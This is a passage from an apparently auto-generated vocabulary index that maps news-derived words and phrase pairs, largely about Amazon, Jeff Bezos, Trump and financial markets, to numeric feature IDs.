473, "flagship ignition": 474, "ddouglaston": 475, "sparkr": 476, "bmw shares": 477, "yorker phoebe": 478, "jia jiang": 479, "court screaming": 480, "kalles": 481, "occurring": 482, "gang rape": 483, "antagonism": 484, "pilot episode": 485, "catalog retailers": 486, "tlrd": 487, "close advisers": 488, "mainland chinese": 489, "internationalversion": 490, "amazon deep": 491, "uu0wzyvqf2": 492, "admit mueller": 493, "mamma gamma": 494, "847 shares": 495, "discrimination erode": 496, "nary monopoly": 497, "detective chloe": 498, "service page": 499, "king availability": 500, "season black": 501, "statutory rape": 502, "food medicine": 503, "hardball spending": 504, "samar": 505, "bank rob": 506, "renewed cbs": 507, "medium width": 508, "emily cochrane": 509, "roger bedford": 510, "investment officer": 511, "consuming enterprise": 512, "democrats wrote": 513, "web traffic": 514, "legal financial": 515, "stock sliding": 516, "sales make": 517, "government people": 518, "standard lose": 519, "south lake": 520, "tagay spokesperson": 521, "companies critics": 522, "law led": 523, "feature translators": 524, "baba chairman": 525, "carlton": 526, "intelligence committees": 527, "buffett company": 528, "separate fines": 529, "significantly boost": 530, "instrumental": 531, "owners": 532, "cloud business": 533, "strictly": 534, "play campaign": 535, "highly developed": 536, "botched brexit": 537, "000 teamsters": 538, "usually large": 539, "poster going": 540, "239 billion": 541, "shares overweight": 542, "promising way": 543, "judge prosecutor": 544, "holdings 925": 545, "misdiagnosed": 546, "ultimately did": 547, "taking enforcement": 548, "airport newsstand": 549, "dollar toll": 550, "districts new": 551, "president doings": 552, "person acknowledges": 553, "photographer raad": 554, "reseller": 555, "outdoor sports": 556, "halifax": 557, "q19": 558, "kennedy": 559, "shooting severe": 560, "establishing future": 561, "alongside new": 562, "internal administration": 563, "spoke briefly": 564, "religious references": 565, "slattery just": 566, "longer entitled": 567, "tabloid scandal": 568, "says tabloid": 569, "profound": 570, "ceremonies": 571, "cards game": 572, "aw": 573, "commerce cite": 574, "million visitors": 575, "born life": 576, "production demands": 577, "domestic label": 578, "jilted": 579, "rally reuters": 580, "president wrath": 581, "askebay": 582, "did jim": 583, "thoughts claiming": 584, "joined": 585, "aurora bridge": 586, "hemingway quadrille": 587, "class proprietary": 588, "weren necessarily": 589, "responsible news": 590, "paterson added": 591, "switch tasks": 592, "sheeran london": 593, "hayley peterson": 594, "argument think": 595, "selling counterfeit": 596, "business adsection": 597, "deathwatch": 598, "players began": 599, "deceased individuals": 600, "finance deal": 601, "football 2018": 602, "kj6afdqzl7 mijente": 603, "uber ceos": 604, "worst monthly": 605, "chocolate": 606, "currently estimated": 607, "nick hayek": 608, "smaller hub": 609, "traditionally suit": 610, "record soybean": 611, "seattle hold": 612, "gods photo": 613, "pocketing": 614, "republican eric": 615, "israeli airstrikes": 616, "distills": 617, "daughter smarsh": 618, "pay real": 619, "o2x x0": 620, "fix specific": 621, "food systems": 622, "prostitution mueller": 623, "members wantit": 624, "intense focus": 625, "paris influenced": 626, "essentially slit": 627, "238 candidates": 628, "fight club": 629, "hit hollywood": 630, "elizabeth warren": 631, "soft coup": 632, "es": 633, "tri county": 634, "story contract": 635, "initial prediction": 636, "fall creating": 637, "groundbreaking": 638, "elizabeth handbag": 639, "311 reduced": 640, "topics broadcast": 641, "helps soldiers": 642, "laden new": 643, "new grant": 644, "imagine taking": 645, "account saying": 646, "tbd immersive": 647, "manipulation senate": 648, "album lead": 649, "widening": 650, "powerful grassroots": 651, "margin pressure": 652, "lance": 653, "border white": 654, "blog rss": 655, "compliment": 656, "announced questions": 657, "reopened": 658, "dayen strong": 659, "pentagon called": 660, "turbulent political": 661, "tag amazon": 662, "driver license": 663, "cnn time": 664, "billions yr": 665, "deep concerns": 666, "reportedly tried": 667, "idea act": 668, "public transparent": 669, "high valuations": 670, "pure raw": 671, "fair jeong": 672, "cruze cars": 673, "criticize president": 674, "officials 181406661": 675, "sears shares": 676, "journeys": 677, "solicited bids": 678, "clayborne carson": 679, "lilly yesterday": 680, "sister manager": 681, "simply sat": 682, "2018 geeks": 683, "bezos yes": 684, "expose nude": 685, "internationalversion imagemodels": 686, "city offers": 687, "broke soon": 688, "agonized present": 689, "mandatory inclusionary": 690, "thousand years": 691, "book strangely": 692, "illinois elected": 693, "o2x s0": 694, "correctly forecasting": 695, "note distributed": 696, "jedi saying": 697, "visiting american": 698, "declared bankruptcy": 699, "want chinese": 700, "2736762": 701, "stated watch": 702, "clinton winning": 703, "talent particularly": 704, "buying batteries": 705, "thompson wrote": 706, "tactics": 707, "gigolo": 708, "staffers experience": 709, "volume philosophy": 710, "chadra": 711, "chase investment": 712, "ac bc": 713, "crafted": 714, "shelters trump": 715, "unless president": 716, "pecker according": 717, "called jeff": 718, "muse project": 719, "maker nvidia": 720, "stern rebuke": 721, "canadian city": 722, "negotiated reductions": 723, "ogilvie": 724, "disappointments": 725, "registration numbers": 726, "analyst john": 727, "music royalties": 728, "billion building": 729, "brazil plans": 730, "additional rocket": 731, "subtly": 732, "pre nuptial": 733, "schools set": 734, "reuters abhishek": 735, "executives introduced": 736, "authorized successor": 737, "york politician": 738, "amazon tapped": 739, "country entered": 740, "forbes named": 741, "beware": 742, "motley launched": 743, "getelementbyid spinner_": 744, "occupied east": 745, "providers amazon": 746, "paths daily": 747, "president working": 748, "provisions regarding": 749, "margins amazon": 750, "place ocasio": 751, "raw figures": 752, "horse muckerman": 753, "promulgated": 754, "capitals": 755, "explosive source": 756, "investigate twitter": 757, "completes acquisition": 758, "lawyer rudolph": 759, "contributed": 760, "2018 seattle": 761, "inextricably linked": 762, "bladder infection": 763, "baltic money": 764, "shoving": 765, "tmi respecting": 766, "invests": 767, "center tamara": 768, "prescriptions drugs": 769, "employees troubled": 770, "experiences today": 771, "actually higher": 772, "works great": 773, "just cats": 774, "nungesser": 775, "augured mass": 776, "tower follows": 777, "governmental advisory": 778, "criticised president": 779, "year adopted": 780, "tjl": 781, "mistress want": 782, "headed academics": 783, "tabloid spokesman": 784, "exclusively air": 785, "angry line": 786, "teasing": 787, "rules ms": 788, "affiliate marketing": 789, "man decided": 790, "echo": 791, "editorial controls": 792, "hitters": 793, "depository": 794, "buzzfeed 238876": 795, "catz discussed": 796, "warren discussed": 797, "marketwatch editor": 798, "budget friendly": 799, "outsized impacts": 800, "reagan pointed": 801, "canelo": 802, "fewer false": 803, "bluemountain capital": 804, "makes people": 805, "york alexandria": 806, "practice group": 807, "mulling using": 808, "million cloud": 809, "canadian stock": 810, "retailing counterpart": 811, "garmin hosts": 812, "initiative military": 813, "declines stemming": 814, "having spent": 815, "fonda ulee": 816, "rachel crane": 817, "point rubenstein": 818, "today trade": 819, "probably taken": 820, "moderating shipping": 821, "groove": 822, "24x7": 823, "balloonfest": 824, "york business": 825, "azerbaijan": 826, "circle warn": 827, "diginomica style": 828, "evolutions": 829, "charged automatically": 830, "working people": 831, "faltering": 832, "called vice": 833, "platform google": 834, "bandwagonmany months": 835, "million aws": 836, "protagonist phoebe": 837, "receive 180": 838, "respectively power": 839, "question specifically": 840, "sisters": 841, "paulo guedes": 842, "arrow directed": 843, "justicedems": 844, "urging": 845, "original uploaded_files": 846, "story highlights": 847, "help veterans": 848, "country goods": 849, "unusual": 850, "antonio political": 851, "cady coleman": 852, "chiefs bezos": 853, "amazon citing": 854, "make awful": 855, "anthrax": 856, "nuance": 857, "money mistake": 858, "stunt china": 859, "local wage": 860, "terrorist groups": 861, "offset": 862, "secretly protecting": 863, "sizelarger": 864, "gift wrapped": 865, "biting comic": 866, "corporations sort": 867, "1927": 868, "increasingly credible": 869, "kitsap county": 870, "sleepy": 871, "saqib shah": 872, "thumb thumbimagelargesource": 873, "order expanding": 874, "qanon climbed": 875, "outspoken enthusiasm": 876, "technology engineering": 877, "took shape": 878, "corsi copies": 879, "taking hit": 880, "capital forum": 881, "legislature": 882, "great future": 883, "taliban talks": 884, "misfit": 885, "proffer": 886, "outbreak": 887, "amazon lowe": 888, "air cargo": 889, "tom forte": 890, "website quietly": 891, "questioning helped": 892, "american children": 893, "quickly recovered": 894, "provided quantitative": 895, "2020 count": 896, "companions working": 897, "pharmacy stocks": 898, "including cbs": 899, "singapore malaysia": 900, "sony pictures": 901, "certainty": 902, "energy greenpeace": 903, "gains yahoo": 904, "revelry": 905, "home 2420": 906, "medical school": 907, "liners reassess": 908, "tax exempt": 909, "summer tweeted": 910, "king think": 911, "inflation governor": 912, "presence": 913, "process says": 914, "report states": 915, "sizes": 916, "tabloid media": 917, "purloined": 918, "public announcement": 919, "transformation": 920, "isolating": 921, "owns fake": 922, "sales atlanta": 923, "trump castigation": 924, "subsidizing undocumented": 925, "appear custom": 926, "critics worry": 927, "rustic": 928, "live nearby": 929, "leak noting": 930, "stunning stock": 931, "sept 2017": 932, "lurid bezos": 933, "cut costs": 934, "workers ceo": 935, "deserving trauma": 936, "montreal born": 937, "proudly break": 938, "service hunting": 939, "suit filed": 940, "hard drive": 941, "status quo": 942, "power trump": 943, "batali sexual": 944, "adjusted margins": 945, "orders amazon": 946, "contacted schweitzer": 947, "dogtooth": 948, "industry scheduled": 949, "watch assuming": 950, "financial regulator": 951, "stay quiet": 952, "bring action": 953, "nutrition including": 954, "roll forward": 955, "original shows": 956, "amazon items": 957, "funds dwarfs": 958, "tech wonkactivists": 959, "leave lin": 960, "nakedly": 961, "luxury goods": 962, "live streams": 963, "28th": 964, "combative": 965, "exhibitors alike": 966, "latest round": 967, "remorse": 968, "prime won": 969, "l7 x2x": 970, "harassment changes": 971, "developing adds": 972, "jon kaplan": 973, "piper jaffray": 974, "exemptions employers": 975, "historic drop": 976, "afp attorney": 977, "borrowers 2018": 978, "commonly sold": 979, "story carmaggedon": 980, "t9x g0": 981, "assist navy": 982, "operational": 983, "banned": 984, "fiscal 2020": 985, "donors promising": 986, "alleged affair": 987, "powers putin": 988, "wall today": 989, "trump prescribes": 990, "worker friendly": 991, "candles": 992, "rocket successfully": 993, "train customers": 994, "inordinate": 995, "journalist implying": 996, "public reserve": 997, "mandate sales": 998, "washington edging": 999, "new monster": 1000, "khaled": 1001, "including legal": 1002, "escaping read": 1003, "displaying monopolistic": 1004, "jobs garofalo": 1005, "139 kyle": 1006, "cleaning products": 1007, "music licensing": 1008, "journal amazon": 1009, "destruction rainforest": 1010, "zones did": 1011, "national competition": 1012, "chia pets": 1013, "isn maybe": 1014, "conducting": 1015, "content creators": 1016, "election night": 1017, "mogul pending": 1018, "retail stores": 1019, "documents working": 1020, "chipotle mexican": 1021, "city ability": 1022, "death phoenix": 1023, "substantive emergency": 1024, "135 150": 1025, "elevated schaeffer": 1026, "mckenzie": 1027, "seafair": 1028, "taxpayer bribes": 1029, "appropriators": 1030, "cortez favorably": 1031, "marking surprising": 1032, "268 residents": 1033, "natural": 1034, "3rd social": 1035, "imported highly": 1036, "box floating": 1037, "goode": 1038, "workers minimum": 1039, "bigwigs": 1040, "fnn": 1041, "adamis": 1042, "dying contradicting": 1043, "story verizon": 1044, "grounded jet": 1045, "big reversal": 1046, "employees low": 1047, "parents women": 1048, "wing base": 1049, "handing president": 1050, "boeing ebay": 1051, "hamper amazon": 1052, "listing provides": 1053, "headlines lasted": 1054, "focus roku": 1055, "great job": 1056, "private pictures": 1057, "party counterfeit": 1058, "issues explained": 1059, "plan reuters": 1060, "\u0645\u0646\u0634\u0646\u062a\u0647\u0645 \u0630\u0627\u0643": 1061, "wealthiest americans": 1062, "sea grabbing": 1063, "greer interesting": 1064, "meeting regarding": 1065, "hunt theserpicoside": 1066, "800 respondents": 1067, "dark arts": 1068, "outraged": 1069, "break return": 1070, "amazon bestselling": 1071, "government owned": 1072, "included pages": 1073, "david bormel": 1074, "estate venture": 1075, "mild discomfort": 1076, "industry primarily": 1077, "finds objectionable": 1078, "desperately needed": 1079, "recently started": 1080, "issuing national": 1081, "missing pets": 1082, "blaxploitation": 1083, "security architect": 1084, "distributors say": 1085, "currently amazon": 1086, "fully charged": 1087, "y29uc3rydwn0b3i": 1088, "chinas zte": 1089, "ap associated": 1090, "shares spectrum": 1091, "market distortion": 1092, "lead singer": 1093, "financially challenged": 1094, "amazon ellison": 1095, "just listen": 1096, "older read": 1097, "says laurie": 1098, "disavow": 1099, "mohan": 1100, "previous google": 1101, "owns square": 1102, "dominique ansel": 1103, "unfair deal": 1104, "effectively given": 1105, "time icann": 1106, "tolling works": 1107, "keyboard tray": 1108, "celebrity president": 1109, "explored business": 1110, "aapl facebook": 1111, "business european": 1112, "fronts including": 1113, "profoundly wrong": 1114, "missing targets": 1115, "news developments": 1116, "paychecks human": 1117, "reserves bolsonaro": 1118, "extract retribution": 1119, "and\u0430lookee\u0430here": 1120, "immigration vote": 1121, "hitting notable": 1122, "sears roebuck": 1123, "finds owner": 1124, "transgender cake": 1125, "sack click": 1126, "senators susan": 1127, "amancio ortega": 1128, "easily deliver": 1129, "trump pressed": 1130, "discounts enjoyed": 1131, "fowler viral": 1132, "letting cambridge": 1133, "truck": 1134, "talks drew": 1135, "retreating": 1136, "cahnemily": 1137, "sexting exchange": 1138, "taxpayers subsidizing": 1139, "wore long": 1140, "independence": 1141, "excel": 1142, "resuming": 1143, "molehills": 1144, "shares helped": 1145, "potential monopoly": 1146, "price nc": 1147, "harmful act": 1148, "relies heavily": 1149, "solution won": 1150, "endorsements": 1151, "oscars memorable": 1152, "couple released": 1153, "gripped readers": 1154, "proliferated": 1155, "flavor": 1156, "orwell": 1157, "ranking salesforce": 1158, "planned parenthood": 1159, "dannyzuker replied": 1160, "rated debt": 1161, "shipping solution": 1162, "president soon": 1163, "personal ties": 1164, "telephone conversation": 1165, "539 2529": 1166, "solution lies": 1167, "question congressmembers": 1168, "hemberger": 1169, "exotic": 1170, "slowing tad": 1171, "swb swbtaos": 1172, "sales platform": 1173, "including alibaba": 1174, "chains experimenting": 1175, "hours china": 1176, "mugs bumper": 1177, "thought david": 1178, "leading budget": 1179, "local tv": 1180, "italys": 1181, "market conditions": 1182, "copyright office": 1183, "kaswell author": 1184, "marketwatch russian": 1185, "goods otr": 1186, "weather alabama": 1187, "matt viser": 1188, "doing added": 1189, "compel": 1190, "life trump": 1191, "giant confirmed": 1192, "brother died": 1193, "unforeseeable event": 1194, "ensure delivery": 1195, "becker claims": 1196, "writ": 1197, "joel negrete": 1198, "hurting business": 1199, "china having": 1200, "organization executives": 1201, "longer receive": 1202, "trump acosta": 1203, "showtime website": 1204, "advertising makes": 1205, "predicted huge": 1206, "stanchion": 1207, "ted turner": 1208, "newspaper frequently": 1209, "graphic shows": 1210, "smithsonian institute": 1211, "marcus": 1212, "deliver medicines": 1213, "lyons": 1214, "trimming faang": 1215, "ice homeland": 1216, "predicted stay": 1217, "right eye": 1218, "profit center": 1219, "opposing changes": 1220, "techcrunch bloomberg": 1221, "flourishing google": 1222, "insiders wealthy": 1223, "just generalized": 1224, "irk bezos": 1225, "262 vehicles": 1226, "southern n924661": 1227, "recent controversies": 1228, "investor michael": 1229, "reported wellington": 1230, "major bureaus": 1231, "unveiled 132": 1232, "jordan yamiche": 1233, "actually felt": 1234, "readily bans": 1235, "righteous anger": 1236, "washpost": 1237, "vote copyright": 1238, "holiday retail": 1239, "investor george": 1240, "yeller": 1241, "jodie patterson": 1242, "timescolumnist danny": 1243, "ryan poe": 1244, "draft divorce": 1245, "gov arnold": 1246, "ith amazon": 1247, "metadata": 1248, "city permanent": 1249, "capacity concerns": 1250, "million workers": 1251, "equipment furniture": 1252, "vodafone australia": 1253, "lured public": 1254, "business television": 1255, "warren 2020": 1256, "divisive views": 1257, "holds 867": 1258, "word turned": 1259, "incumbent andy": 1260, "ensure long": 1261, "adjusted mel": 1262, "strong enforcement": 1263, "carrying amounts": 1264, "ceo nick": 1265, "crisis right": 1266, "checking trump": 1267, "yesterday tragic": 1268, "ago aqua": 1269, "chairman john": 1270, "literature": 1271, "asked employees": 1272, "hro": 1273, "criminally wrong": 1274, "alphabet salad": 1275, "administration meddling": 1276, "obamacare implode": 1277, "autism funding": 1278, "story reddit": 1279, "entertained watch": 1280, "combined value": 1281, "coffers": 1282, "handwritten annotations": 1283, "thrill": 1284, "motorists 2018": 1285, "wing positions": 1286, "ralph waldo": 1287, "luis enrique": 1288, "patriot": 1289, "make broadcasting": 1290, "hindsley": 1291, "outrage": 1292, "closes": 1293, "seas": 1294, "reactions senate": 1295, "trump assumes": 1296, "aclu tested": 1297, "pedestrian tv": 1298, "shaven face": 1299, "today press": 1300, "important newspapers": 1301, "park right": 1302, "little fanfare": 1303, "with\u0430proceeds going": 1304, "unfair advantage": 1305, "ducey": 1306, "court flipped": 1307, "vaguely say": 1308, "deliberately used": 1309, "starboard 2018": 1310, "limited tango": 1311, "kevin mccarthy": 1312, "hosts contract": 1313, "housewife": 1314, "appreciate": 1315, "brazil presidential": 1316, "election amazon": 1317, "market collapse": 1318, "sports money": 1319, "constant drumbeat": 1320, "portal called": 1321, "ship model": 1322, "political logic": 1323, "debate story": 1324, "reporte": 1325, "enabled hate": 1326, "post disclosed": 1327, "dave reiterates": 1328, "digital retail": 1329, "market perform": 1330, "construction trump": 1331, "bezos sitting": 1332, "business soon": 1333, "investor mark": 1334, "bite developing": 1335, "highlighting mom": 1336, "human species": 1337, "previously amazon": 1338, "president prior": 1339, "entrepreneur 150bn": 1340, "landmark shows": 1341, "miserly": 1342, "robert palmer": 1343, "revenue grew": 1344, "trees 2018": 1345, "zuckerbook tim": 1346, "sanders leader": 1347, "securing public": 1348, "control plane": 1349, "iteration": 1350, "showing dozens": 1351, "tpm livewire": 1352, "trump relationship": 1353, "bezos presumably": 1354, "month click": 1355, "moreno": 1356, "fascinated": 1357, "marsden": 1358, "ultimately hopes": 1359, "amazon pegged": 1360, "jeopardize family": 1361, "accounting": 1362, "seller group": 1363, "using economic": 1364, "governing banks": 1365, "media ami": 1366, "package including": 1367, "define mass": 1368, "delivers affordable": 1369, "meddling days": 1370, "home inspectors": 1371, "sen jeff": 1372, "opening line": 1373, "sad lot": 1374, "including macy": 1375, "poached john": 1376, "provide tax": 1377, "retail public": 1378, "ex data": 1379, "historical election": 1380, "offerings frequently": 1381, "financially troubled": 1382, "jail booking": 1383, "chief operating": 1384, "brand interests": 1385, "trump claiming": 1386, "topsellers\u0430list higher": 1387, "straight year": 1388, "28news": 1389, "outrageous": 1390, "official threat": 1391, "atwood dystopian": 1392, "yorkers student": 1393, "coincidentally kohl": 1394, "divorce predicting": 1395, "poll reports": 1396, "kilometers north": 1397, "higher delinquencies": 1398, "new project": 1399, "including local": 1400, "clerical": 1401, "bird obsession": 1402, "strives": 1403, "tectonic shift": 1404, "bulls": 1405, "size imagine": 1406, "says biden": 1407, "downstream": 1408, "organization role": 1409, "fox parent": 1410, "pocket": 1411, "affair wired": 1412, "acquiring flipkart": 1413, "presidential campaign": 1414, "upbeat jobs": 1415, "unhinged supporters": 1416, "second largest": 1417, "jitters offset": 1418, "times suggested": 1419, "parent educator": 1420, "great paper": 1421, "joint news": 1422, "250 000": 1423, "world netflix": 1424, "snapes": 1425, "report public": 1426, "yorktimes right": 1427, "characters nina": 1428, "numbers globaldata": 1429, "astray": 1430, "enquirer scandal": 1431, "largest retailer": 1432, "gist": 1433, "mines komatsu": 1434, "love danielle": 1435, "fervently despises": 1436, "commitments roku": 1437, "jennifer rie": 1438, "wing ideology": 1439, "restaurant best": 1440, "tomorrow wall": 1441, "2011 merkel": 1442, "tucked": 1443, "french post": 1444, "term bounce": 1445, "document location": 1446, "proposal": 1447, "unlikely alliance": 1448, "sheds": 1449, "\u00e9tat": 1450, "market listed": 1451, "struggling metropolis": 1452, "visy industries": 1453, "receiving federal": 1454, "months according": 1455, "wilke jeffrey": 1456, "sea china": 1457, "kominsky": 1458, "govpredict published": 1459, "marc lore": 1460, "available": 1461, "striking teachers": 1462, "events befell": 1463, "service finances": 1464, "webdisplayname politics": 1465, "islamic militants": 1466, "unpopular bezos": 1467, "coherent": 1468, "week don": 1469, "turkey business": 1470, "cloud bid": 1471, "andrewmccabe": 1472, "includes hardcovers": 1473, "emmerich fbi": 1474, "accidentally heard": 1475, "adj eps": 1476, "apples stock": 1477, "claims housing": 1478, "called fedex": 1479, "crafts platform": 1480, "undermine fed": 1481, "private education": 1482, "challenge hazelwood": 1483, "monopoly cronyism": 1484, "tipsters": 1485, "male sexual": 1486, "star wilson": 1487, "problem della": 1488, "ensuring fair": 1489, "elemental amazon": 1490, "colour face": 1491, "stockholm syndrome": 1492, "disproportionate share": 1493, "indigenous control": 1494, "make online": 1495, "free download": 1496, "directly affected": 1497, "bolsonaro view": 1498, "litigative": 1499, "monarch butterflies": 1500, "income families": 1501, "infecting": 1502, "murray fortune": 1503, "dianne": 1504, "remove mark": 1505, "levels trust": 1506, "applicants": 1507, "baby sparks": 1508, "risk public": 1509, "sprawling amazon": 1510, "mega project": 1511, "bernstein research": 1512, "safeway": 1513, "emailing popular": 1514, "twitter constituency": 1515, "maura": 1516, "ultra violence": 1517, "downwardly": 1518, "platforms defense": 1519, "alternative energy": 1520, "asked repeatedly": 1521, "talk": 1522, "independent make": 1523, "2019 amazon": 1524, "secretly meeting": 1525, "printing plants": 1526, "bury unfavorable": 1527, "recent action": 1528, "message tucker": 1529, "keeps prices": 1530, "politics elections": 1531, "james whetlor": 1532, "law mandating": 1533, "daniel castro": 1534, "unprecedented integrated": 1535, "letterman netflix": 1536, "behavior amazon": 1537, "company pays": 1538, "quandary": 1539, "rising trump": 1540, "fargo 2018": 1541, "story fedex": 1542, "buff": 1543, "dominion agreed": 1544, "largesse": 1545, "cleverly": 1546, "respective works": 1547, "reaching bilateral": 1548, "inaccurate census": 1549, "doubt amazon": 1550, "based sumitomo": 1551, "head": 1552, "shipping": 1553, "watson earvilwatson": 1554, "ago breakthrough": 1555, "preventing": 1556, "recommendations contract": 1557, "founder jeff": 1558, "movie fanatic": 1559, "expanding growth": 1560, "l8 d8": 1561, "democratic warnings": 1562, "proceedings": 1563, "million yearly": 1564, "wyatt": 1565, "determining factors": 1566, "hendricksen": 1567, "job jack": 1568, "s7a": 1569, "business age": 1570, "nashville": 1571, "war fearstrump": 1572, "equal wilke": 1573, "pretty nonpartisan": 1574, "trump care": 1575, "education reporters": 1576, "mackenzie called": 1577, "tweeting tpg": 1578, "wapo jonathan": 1579, "mackenziebezos": 1580, "x1": 1581, "propublica piece": 1582, "men stood": 1583, "source database": 1584, "bandwidth": 1585, "service background": 1586, "amendment besieged": 1587, "alibi": 1588, "stock according": 1589, "usps important": 1590, "monolithic size": 1591, "gathering distributors": 1592, "116": 1593, "stephanie rugoff": 1594, "truck soundtrack": 1595, "beat analysts": 1596, "horse actor": 1597, "especially having": 1598, "particular note": 1599, "killing shopping": 1600, "company self": 1601, "vegas managed": 1602, "gathered data": 1603, "amazon star": 1604, "spin round": 1605, "vested stock": 1606, "productivity enforcing": 1607, "fda approval": 1608, "upbeat number": 1609, "crore fresh": 1610, "company snc": 1611, "hero guess": 1612, "benefit clients": 1613, "parole sponsor": 1614, "largesse little": 1615, "considerable authority": 1616, "food originates": 1617, "older car": 1618, "company quarterly": 1619, "provisional ballots": 1620, "set target": 1621, "answer math": 1622, "uber negative": 1623, "stone jonah": 1624, "blinch reuters": 1625, "china biggest": 1626, "abuse multiple": 1627, "corey lewandowski": 1628, "annoys trump": 1629, "racist bigoted": 1630, "years president": 1631, "iven": 1632, "competitors usps": 1633, "investigations work": 1634, "legal remedy": 1635, "artists artisans": 1636, "big ideas": 1637, "trust stated": 1638, "twitter poaching": 1639, "passenger": 1640, "earlier google": 1641, "send2press": 1642, "guns campaign": 1643, "information requested": 1644, "mountain view": 1645, "bourbon cigar": 1646, "trust situation": 1647, "dodge sales": 1648, "2018 troy": 1649, "sparing": 1650, "particularly low": 1651, "creates 1st": 1652, "certain markets": 1653, "recessions": 1654, "dry": 1655, "fiction specialist": 1656, "addition investors": 1657, "wage fox": 1658, "short positions": 1659, "shoelace": 1660, "watergate era": 1661, "2016 mccain": 1662, "publish texts": 1663, "acknowledged receives": 1664, "hoverboard remember": 1665, "text trump": 1666, "tribunal nullifies": 1667, "truck trailers": 1668, "snap shares": 1669, "sessions steps": 1670, "multiple levels": 1671, "foundations": 1672, "political sentiment": 1673, "pushed hard": 1674, "whining": 1675, "yorker ian": 1676, "glen ellyn": 1677, "angerer despite": 1678, "middle tennessee": 1679, "president calls": 1680, "tech summit": 1681, "2018 saw": 1682, "music greene": 1683, "knifed": 1684, "political rivals": 1685, "search shone": 1686, "businesses viewers": 1687, "abdullah dina": 1688, "receive overtime": 1689, "york resident": 1690, "political polarization": 1691, "counseling medication": 1692, "criticized recently": 1693, "digital promoting": 1694, "mayor ske": 1695, "quotes": 1696, "canadian aluminum": 1697, "existsobject": 1698, "shiite": 1699, "photo new": 1700, "washington premier": 1701, "providers need": 1702, "karen neal": 1703, "number jobs": 1704, "buffet": 1705, "company lack": 1706, "jace": 1707, "amphibious scooper": 1708, "additional sites": 1709, "e0 var": 1710, "success taking": 1711, "crept": 1712, "dis": 1713, "historical tale": 1714, "goodin": 1715, "networking giant": 1716, "ceo having": 1717, "known commerce": 1718, "spread": 1719, "staff unfounded": 1720, "originally intended": 1721, "address questions": 1722, "manufacturers nam": 1723, "sacramento according": 1724, "nearly equal": 1725, "broader data": 1726, "gamers": 1727, "yeltsin trump": 1728, "encourage residents": 1729, "leadership contest": 1730, "daily shouts": 1731, "reportedly paid": 1732, "dispute looms": 1733, "decreasing": 1734, "washington black": 1735, "twitter asoga": 1736, "mnuchin tweeted": 1737, "aircraft": 1738, "abruptly ended": 1739, "griffeth treasury": 1740, "pressuring": 1741, "passive aggressively": 1742, "submitting lawsuits": 1743, "better communications": 1744, "night published": 1745, "skater slashed": 1746, "aldi operates": 1747, "far fetched": 1748, "development commissioner": 1749, "trump oft": 1750, "erecting voting": 1751, "wishlist": 1752, "gibson read": 1753, "masterclass dominique": 1754, "crisis consultant": 1755, "bret easton": 1756, "identified": 1757, "seeing movies": 1758, "avoid slipping": 1759, "oklahoma middle": 1760, "maxine waters": 1761, "roberts reuters": 1762, "crisis trump": 1763, "investors fear": 1764, "credit families": 1765, "africa": 1766, "sisnama": 1767, "york nasdaq": 1768, "businesses offshore": 1769, "make delivery": 1770, "world month": 1771, "bezos biggest": 1772, "uploads 2018": 1773, "damaging articles": 1774, "anticipate potentially": 1775, "regualar": 1776, "showing qanon": 1777, "tax incentives": 1778, "listed near": 1779, "process giving": 1780, "water attorney": 1781, "year bernie": 1782, "service head": 1783, "business board": 1784, "company net": 1785, "home kits": 1786, "treadmill set": 1787, "increased just": 1788, "plan addresses": 1789, "billerica diner": 1790, "pubg gamedev": 1791, "tim kaine": 1792, "new mexico": 1793, "win trade": 1794, "var u8": 1795, "trump fragrances": 1796, "blackmail adds": 1797, "ai nvidia": 1798, "analyst added": 1799, "overlapping conspiracy": 1800, "crowley amazon": 1801, "await lame": 1802, "letters steadily": 1803, "good boys": 1804, "young harris": 1805, "pays pretty": 1806, "firm qualtrics": 1807, "privacy cookies": 1808, "times washington": 1809, "recommendation today": 1810, "noodles": 1811, "officially recruiting": 1812, "house tweet": 1813, "buster": 1814, "big pharmacy": 1815, "right growth": 1816, "veritable cash": 1817, "facebook faced": 1818, "sneaky dianne": 1819, "magic atsocialmedia": 1820, "stash body": 1821, "area population": 1822, "constantine": 1823, "enquirer promised": 1824, "extension based": 1825, "cultures employees": 1826, "tuba": 1827, "magazine alleged": 1828, "instant": 1829, "voters remarking": 1830, "environments combat": 1831, "area infrastructure": 1832, "100 increase": 1833, "mueller recently": 1834, "investment advsr": 1835, "overblown": 1836, "party shared": 1837, "desks": 1838, "pharmacy market": 1839, "enjoyment": 1840, "publishing korean": 1841, "gros": 1842, "violent demonstrations": 1843, "started showing": 1844, "conservatives describing": 1845, "embrace": 1846, "saturated": 1847, "cristina": 1848, "service problems": 1849, "gw seattle": 1850, "hbo solo": 1851, "emergency assistance": 1852, "promote hateful": 1853, "ceo raj": 1854, "0854et": 1855, "ami ronan": 1856, "billion famed": 1857, "extract": 1858, "release amazon": 1859, "playbook follow": 1860, "usual messaging": 1861, "sell directly": 1862, "russian disinformation": 1863, "shakespeare plays": 1864, "express frustration": 1865, "create 000": 1866, "steadily declines": 1867, "hbr": 1868, "protest russia": 1869, "episodic": 1870, "supported mass": 1871, "tops": 1872, "quilombola": 1873, "corporate names": 1874, "tactics employed": 1875, "fang stocks": 1876, "sam menefee": 1877, "rohit chopra": 1878, "chose": 1879, "fox": 1880, "chemicals contaminating": 1881, "crime extortion": 1882, "capitalist progressive": 1883, "user weighed": 1884, "exemption": 1885, "just gonna": 1886, "main thematic": 1887, "cassidy la": 1888, "yen": 1889, "awaiting federal": 1890, "miranda director": 1891, "commentary little": 1892, "won score": 1893, "wwii spy": 1894, "companies deny": 1895, "essentially soliciting": 1896, "achatz nick": 1897, "wade": 1898, "ruling big": 1899, "arrive quickly": 1900, "wired tales": 1901, "rooms read": 1902, "things happen": 1903, "tv boxes": 1904, "glover": 1905, "wall clock": 1906, "commerce recommendation": 1907, "unemployment insurance": 1908, "new energy": 1909, "afternoon president": 1910, "intermittent fasting": 1911, "crumbling society": 1912, "street great": 1913, "kim supply": 1914, "circles": 1915, "final act": 1916, "cohen properties": 1917, "prime da": 1918, "adventures": 1919, "cross french": 1920, "netflix docuseries": 1921, "shantytowns": 1922, "headlines": 1923, "neocolonial": 1924, "using match": 1925, "unveiled proposal": 1926, "steve": 1927, "deeply held": 1928, "lambasts trump": 1929, "holiday": 1930, "path usps": 1931, "swift exchange": 1932, "unrealistic": 1933, "shower": 1934, "fined prom": 1935, "omar genoa": 1936, "soundtrack": 1937, "office interesting": 1938, "progeny clearer": 1939, "tell supporters": 1940, "political dirty": 1941, "uses rekognition": 1942, "ottawa ontario": 1943, "giant recently": 1944, "political repercussions": 1945, "conflation": 1946, "annual intellectual": 1947, 